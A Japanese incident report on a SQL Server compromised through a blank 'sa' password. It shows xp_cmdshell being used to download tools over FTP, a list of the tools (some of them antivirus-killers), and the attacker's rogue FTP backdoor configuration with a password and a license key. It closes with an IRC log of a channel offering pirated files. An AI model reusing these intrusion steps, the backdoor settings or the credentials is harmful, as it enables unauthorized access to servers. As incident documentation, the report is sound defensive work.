【インシデント】SQLサーバへの不正アクセス

今回のインシデントは、ＳＱＬサーバに対するインシデントです。

このサーバは、脆弱なアカウント（SAパスワードなし）を設定していた為、リモートからログインされ

不正にコマンドが実行された形跡を確認しました。詳細な攻撃の手順については、以下をご覧ください。

＜不正アクセスの手順＞

１）SQLサーバへの不正アクセス

saアカウントを使用して不正アクセスが行われる。

２）コマンドの実行

XP_Comdshellを利用してftpサーバからツールのダウロードが実行される。

Guest login ok, access restrictions apply:ftp> cd /pub/OpenBSD/patches/6250 CWD command successful&ftp> get 2.4.tar.gz8200 PORT command successful150 Opening ASCII mode data connectio

３）ダウロードされたツール名の一覧

2.4.tar.gz
5M.bin
arma5.zip
AV.bat
dx5ger.exe
Fport.exe
latest-defs.exe
ls-lR.gz
merlin.bat
ncurses.tar.gz
patch-2.4.19.gz
pskill.exe
stopav.bat
syss.exe
syss.txt
tlist.exe

・syss.txtの中身

[GLOBAL]
LocalSetupPassword=ZFJUa/HVVx41.
LocalSetupPortNo=6666
ProcessID=844
Version=3.0.0.17
RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKrowsPF//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722
MaxNrUsers=20
SpeedLimit=1023998976
SocketRcvBuffer=99999
SocketSndBuffer=99999
PacketTimeOut=300
OpenFilesUploadMode=Shared
[DOMAINS]
Domain1=0.0.0.0||6666|lol|1
[Domain1]
User1=webclan|1|0
LogSystemMes=0
LogSecurityMes=0
LogGETs=0
LogPUTs=0
LogFileSystemMes=0
LogFileSecurityMes=0
LogFileGETs=0
LogFilePUTs=0
MaxNrUsers=20
ReplyHello=+++ By WebClan +++
SignOn=c:\WINNT\system32\com\welcome.txt
Signoff=c:\WINNT\system32\com\logout.txt
[USER=webclan|1]
Password=ZFJUa/HVVx41.
HomeDir=c:\
TimeOut=600
MaxNrUsers=10
Maintenance=System
Note1="Wizard generated account"
Access1=M:\|RWAMELCDP
Access2=L:\|RWAMELCDP
Access3=K:\|RWAMELCDP
Access4=J:\|RWAMELCDP
Access5=I:\|RWAMELCDP
Access6=H:\|RWAMELCDP
Access7=G:\|RWAMELCDP
Access8=F:\|RWAMELCDP
Access9=E:\|RWAMELCDP
Access10=D:\|RWAMELCDP
Access11=C:\|RWAMELCDP
Access12=W:\|RWAMELCDP

４）その後、外部のIRCサーバに接続を行う。

08:04 Created
08:04 *** Netzhaeckchen has joined channel #dog-xdcc
08:04 *** Topic for #dog-xdcc : ｧ､*~`~*､ｧ|ｧ､*~`~*､ｧ|ｧ､*~ -=・-Der kleine DSL-Chan... ﾜber Hilfe is man sehr erfreut.... Meldet euch bei den OPｴs mit dem &.... Auch fservs lpen :) -=・- ~*､ｧ|ｧ､*~`~*､ｧ|ｧ､*~`~*､ｧ
08:04 *** #dog-xdcc = Netzhaeckchen Killercam +[meeo]-09 &Netzhaeckchen|SleepzzzZZZZzzz +[meeo]-bloedi +[meeo]-02 &spyshot +[meeo]-Musik-03 +[meeo]-10 Sonnenkrieger111 fkr oetzi ~aymeeo|kIsSeN steph Markus MSP +[meeo]-NiCe-1 EKO +slave kingb sonnenschein +[meeo]-NiCe-2 +[meeo]-nulli +[meeo]-03 +[meeo]-08 +[meeo]-NiCe-3 +[meeo]-07 +[meeo]-NiCe &[TaLiBaN]
08:04 <[meeo]-NiCe-3> ** .::-_-::.[H4PpY L33ch!ng l33ｩh3ｮ$!].::-_-::. **
08:04 *** Mode #dog-xdcc = +smntr
08:04 <[meeo]-NiCe-3> Total Offered: 3561.2 MB Total Transferred: 7.78 GB
08:04 <[meeo]-NiCe> ** bRought t0 yA bY rIDeRz-CrEW **
08:04 <[meeo]-NiCe> ** 6 packs ** 10 of 10 slots open, Record: 447.9KB/s
08:04 <[meeo]-NiCe> ** Bandwidth Usage ** Current: 0.0KB/s, Record: 508.2KB/s
08:04 <[meeo]-NiCe> ** To request a file, type "/msg [meeo]-NiCe xdcc send #x" **
08:04 <[meeo]-NiCe> ** To request details, type "/msg [meeo]-NiCe xdcc info #x" **
08:04 <[meeo]-NiCe> #1 2x [1.1M] MC LXD ft. KT - G-Town Pt.1.mp3
08:04 <[meeo]-NiCe> #2 8x [2.4M] MC LXD - G-Town Pt.2.mp3
08:04 <[meeo]-NiCe> #3 3x [ 63M] Windows.XP.Wallpapers.zip
08:04 <[meeo]-NiCe> #4 0x [ 95M] VA-Deep_Dance_103-Bootleg-2006-wAx_by_RMC.ace
08:04 <[meeo]-NiCe> #5 1x [3.6M] Mattafix_-_Big_City_Life.mp3
08:04 <[meeo]-NiCe> #6 0x [794M] Scanners_-_uncut_-_RSVCD_-_DVD_Rip_-.mpg
08:04 <[meeo]-NiCe> ** .::-_-::.[H4PpY L33ch!ng l33ｩh3ｮ$!].::-_-::. **
08:04 <[meeo]-NiCe> Total Offered: 959.9 MB Total Transferred: 249.85 MB

５）現在も継続して、観察中